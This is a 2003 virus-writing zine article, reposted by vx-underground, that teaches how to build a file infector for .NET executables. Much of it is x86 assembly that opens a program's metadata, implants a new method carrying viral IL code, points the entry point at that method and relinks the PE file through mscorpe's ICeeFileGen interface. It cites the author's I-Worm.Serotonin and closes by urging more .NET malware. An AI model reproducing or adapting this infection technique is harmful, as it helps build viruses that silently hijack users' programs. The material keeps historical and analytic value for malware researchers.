,, MMP""MM""YMM `7MM P' MM `7 MM MM MMpMMMb. .gP"Ya MM MM MM ,M' Yb MM MM MM 8M"""""" MM MM MM YM. , .JMML. .JMML JMML.`Mbmmd' `7MMF' `7MF' `7MMF' `7MMF' `MA ,V MM MM VM: ,V `7M' `MF' MM MM .gP"Ya ,6"Yb.`7M' `MF'.gP"Ya `7MMpMMMb. MM. M' `VA ,V' MMmmmmmmMM ,M' Yb 8) MM VA ,V ,M' Yb MM MM `MM A' XMX MM MM 8M"""""" ,pm9MM VA ,V 8M"""""" MM MM :MM; ,V' VA. MM MM YM. , 8M MM VVV YM. , MM MM VF .AM. .MA..JMML. .JMML.`Mbmmd' `Moo9^Yo. W `Mbmmd'.JMML JMML. ,, ,, ,, .g8"""bgd `7MM `7MM mm db .dP' `M MM MM MM dM' ` ,pW"Wq. MM MM .gP"Ya ,p6"bo mmMMmm `7MM ,pW"Wq.`7MMpMMMb. MM 6W' `Wb MM MM ,M' Yb 6M' OO MM MM 6W' `Wb MM MM MM. 8M M8 MM MM 8M"""""" 8M MM MM 8M M8 MM MM `Mb. ,'YA. ,A9 MM MM YM. , YM. , MM MM YA. ,A9 MM MM `"bmmmd' `Ybmd9'.JMML..JMML.`Mbmmd' YMbmd' `Mbmo.JMML.`Ybmd9'.JMML JMML. -- Contact -- https://twitter.com/vxunderground vxug@null.net

In my last article about .NET platform called "Microsoft .NET Common Language Runtime Overview" I introduced technologies that .NET Framework Beta2 provides us. I also showed infector for .NET applications written in C# (called "Donut" by AVerz). Very soon after publishing Microsoft released sharp version of Visual Studio .NET. Since that time nothing changed at all, this version does not differ from the beta2 much. But I had more time, documentation and knowledge to explore this environment.

When I was coding I-Worm.Serotonin I wanted to go more futher rather than with Donut. Donut was able to replace CLR header and metadata by some strange way with its own and by other non-effective way execute back the host program. I was sure there must exist some way how to code REAL file infector for .NET programs. Time had passed on, next step was awaited. Not replace, but infect metadata by adding new viral data, ansuring their primary activation right and calling back the host program. That meant to analyse a structure of metadata and find a way how to implant new members to current code without any bugs and suspicious actions on user's screen.

While analysing CLR documentation I found out the environment disposes of rich interface for working with it and that this is very transparent - it allows to access it from both of inside managed program and outside it (for native applications). Tools and helper programs don't need to access metadata directly. All they have to do is call proper environment functions. Compilers, linkers, debuggers, they don't need to know almost no internal structures, everything is managed by system.

Note:Include file COR.INC that helps to handle CLR and metadata structures is possible to find in this issue (29A#7). You can find detailed Microsoft documentation at MSVS_NET_PATH\FrameworkSDK\Tool Developers guide\docs.

As I said before, CLR environment provides some COM interfaces. Those basic ones (discussed here) are these:

For metadata opening:


For metadata (and manifest) modification:


For metadata (and manifest) analysis:


I will start with the simplest task - let's open metadata of file stored on disk. At first we have to initialize COM and create "Dispenser" object which will give us requested interface. Here comes the code:

	push	0			;reserved, must be 0
	call	CoInitialize

	push	offset ppv		;pointer to returned interface
	call	@over_iid
	IID_IMetaDataDispenserEx	;required interface identifier
	push	0			;not part of an agregate
	call	@over_clsid
	CLSID_CorMetaDataDispenser	;object identifier
	call	CoCreateInstance

Now we have a pointer to requested IMetaDataDispenserEx interface and we can call its methods:


The most interesting method is OpenScope that allows elegantly access metadata from executable file stored on disk. This method returns an interface (IMetaDataEmit, IMetaDataImport, IMetaDataAssemblyEmit or IMetaDataAssemblyImport) thru which we can access metadata members.

	push	offset pEmit		;pointer to returned interface
	call	@over_iid2
	IID_IMetaDataEmit		;requested interface identifier
	push	0			;open for read (1 for write)
	call	@over_wsz		;filename in unicode
	dw	'c',':','\','p','r','o','g','.','e','x','e',0
	mov	eax,[ppv]		;EAX = pointer to Dispenser object
	push	eax			;"this" calling convention
	mov	eax,[eax]
	call	[eax.IMetaDataDispenser_OpenScope]

And now we will try to do something more difficult - declare new global method "void METHOD_IMPLANTED()" in metadata:

	push	offset mdToken		;returned method token
	push	0			;implementation flags
	push	0			;RVA of method IL code (can be set l8er by SetRVA method)
	push	3			;number of bytes in signature
	call	@over_sig
@over_sig:				;method signature (in/out arguments)
	push	mdPrivate or mdStatic	;method attributes
	call	@over_wsz2
	dw	'M','E','T','H','O','D','_','I','M','P','L','A','N','T','E','D',0
@over_wsz2:				;method name
	push	0			;0 = global method
	mov	eax,[pEmit]		;EAX = pointer to Emitter
	push	eax
	mov	eax,[eax]
	call	[eax.IMetaDataEmit_DefineMethod]

Similarly we can call other Emitter methods. When everything is finished we should not forget to release all objects from memory:

	mov	eax,[pEmit]
	push	eax
	mov	eax,[eax]
	call	[eax.IUnknown_Release]

	mov	eax,[ppv]
	push	eax
	mov	eax,[eax]
	call	[eax.IUnknown_Release]

I won't go deeper in details here, all these methods (used by compilers to generate metadata) are very well documented. It will be better to look at some other useful but not so well documented stuff - interface for linkers. You probably know that metadata itself is not enough to execute the program, metadata describes only application's object layout. Full-functional program have to be linked as PE EXE file where are stored not only metadata but also MSIL code - that can be stored in any readable section. So, in a short form, all we have to do is re-compile and re-link the file using new metadata.

Only documentation I was able to find is one header file stored like MSVS_NET_Path\FrameworkSDK\Include\ICeeFileGen.h. ICeeFileGen class is described there and all its public methods. There are described also two APIs, CreateICeeFileGen and DestroyICeeFileGen. Source code itself helps to understand that it's a description of object (and its interface) used for executable file generation. But where can we find the code of that?

Look at folder of .NET Framework core (%windir%\Microsoft.NET\Framework\v1.0.3705\) and focus on mscorpe.dll. This is our golden treasure we are looking for. Check which APIs it exports and you will find out that it corresponds with ICeeFileGen.h file.

So, here we go:

	@pushsz	'mscorpe'		;name of DLL
	call	LoadLibraryA		;load it
	xchg	eax,ebx			;address in EBX

	@pushsz	'DestroyICeeFileGen'
	push	ebx
	call	GetProcAddress
	xchg	eax,esi			;address of DestroyICeeFileGen API in ESI

	@pushsz	'CreateICeeFileGen'
	push	ebx
	call	GetProcAddress		;address of CreateICeeFileGen API in EAX

	push	offset ICeeFileGen	;pointer to interface variable
	call	eax			;create object interface

	mov	edi,[ICeeFileGen]	;pointer to interface in EDI
	mov	edi,[edi]		;interface in EDI

	push	offset file_handle
	call	[edi.ICeeFileGen_CreateCeeFile]
					;object initialization

	call	@over_outwsz
	dw	'c',':','\','o','u','t','p','u','t','.','e','x','e',0
	push	[file_handle]
	call	[edi.ICeeFileGen_SetOutputFileName]
					;set output file to "c:\output.exe"

	;we also have to write new IL code to our file. we will reserve a place in PE
	;file (so called "section") and copy there our data. everything is done in
	;memory, all datas are flushed on disk at final stage.

	push	[file_handle]
	call	[edi.ICeeFileGen_LinkCeeFile]
					;before we will start to work with addresses
					;we have to re-link program in memory

	push	offset il_section
	push	[file_handle]
	call	[edi.ICeeFileGen_GetIlSection]
					;request section for IL code

	push	offset il_section_rva
	push	[il_section]
	call	[edi.ICeeFileGen_GetSectionRVA]
					;we have to know RVA of section

	push	offset raw_il_section
	push	1
	push	4
	push	[il_section]
	call	[edi.ICeeFileGen_GetSectionBlock]
					;allocate 4 bytes. we won't use them, it is
					;only a trick to get offset in section

	push	offset il_section_offset
	push	[raw_il_section]
	push	[il_section]
	call	[edi.ICeeFileGen_ComputeSectionOffset]
					;now we know offset in our section

	;we will set RVA of our new method

	mov	eax,offset il_section_rva
	push	eax			;EAX = section address
	add	[eax],12345678h		;EAX += offset in section
il_section_offset = dword ptr $-4
	add	dword ptr [eax],4	;EAX += 4 (we have to skip first allocated bytes)
	push	dword ptr [eax]
	push	[mdToken]
	mov	eax,[pEmit]
	push	eax
	mov	eax,[eax]
	call	[eax.IMetaDataEmit_SetRVA]

	;we will reserve next place for our code, immediately following our 4 bytez

	push	offset raw_il_section
	push	1
	push	IL_code_size
	push	[il_section]
	call	[edi.ICeeFileGen_GetSectionBlock]

	mov	esi,offset IL_code	;address of IL code of our new method
	mov	edi,12345678h		;target memory address
raw_il_section = dword ptr $-4
	mov	ecx,IL_code_size	;size of IL code
	rep	movsb			;copy IL code to file

	...				;other stuff defining parameters of linking

	push	[mdToken]
	push	[file_handle]
	call	[edi.ICeeFileGen_SetEntryPoint]
					;set entrypoint to our new method

	push	[pEmit]
	push	[file_handle]
	call	[edi.ICeeFileGen_EmitMetaDataEx]
					;write metadata to file

	push	[file_handle]
	call	[edi.ICeeFileGen_LinkCeeFile]
					;re-link PE file in memory

	push	[file_handle]
	call	[edi.ICeeFileGen_GenerateCeeFile]
					;write PE file to disk

	push	offset file_handle
	call	[edi.ICeeFileGen_DestroyCeeFile]
					;unitialize object
	push	offset ICeeFileGen
	call	esi			;release object from memory

	push	ebx
	call	FreeLibrary		;release library from memory

And that's all. As you can see, it is very simple and effective. If you want to see real functional code working on this base, look at my I-Worm.Serotonin. Everything mentioned here and many many more can be found there.

.NET CLR environment is very pleasant to viral infiltrations. It provides such abstraction that author does not care of almost no implementation stuff. There are much more features in this environment I hadn't described. Nothing is impossible. I am VERY sure that it is possible to implement most viral techniques and strategies that we know from Win32 world. It only depends on our patience and time we want to invest to our .NET malware code.

						.  Jan 25 2003	Benny/29A
						.		benny@post.cz
						... searching for perfection ...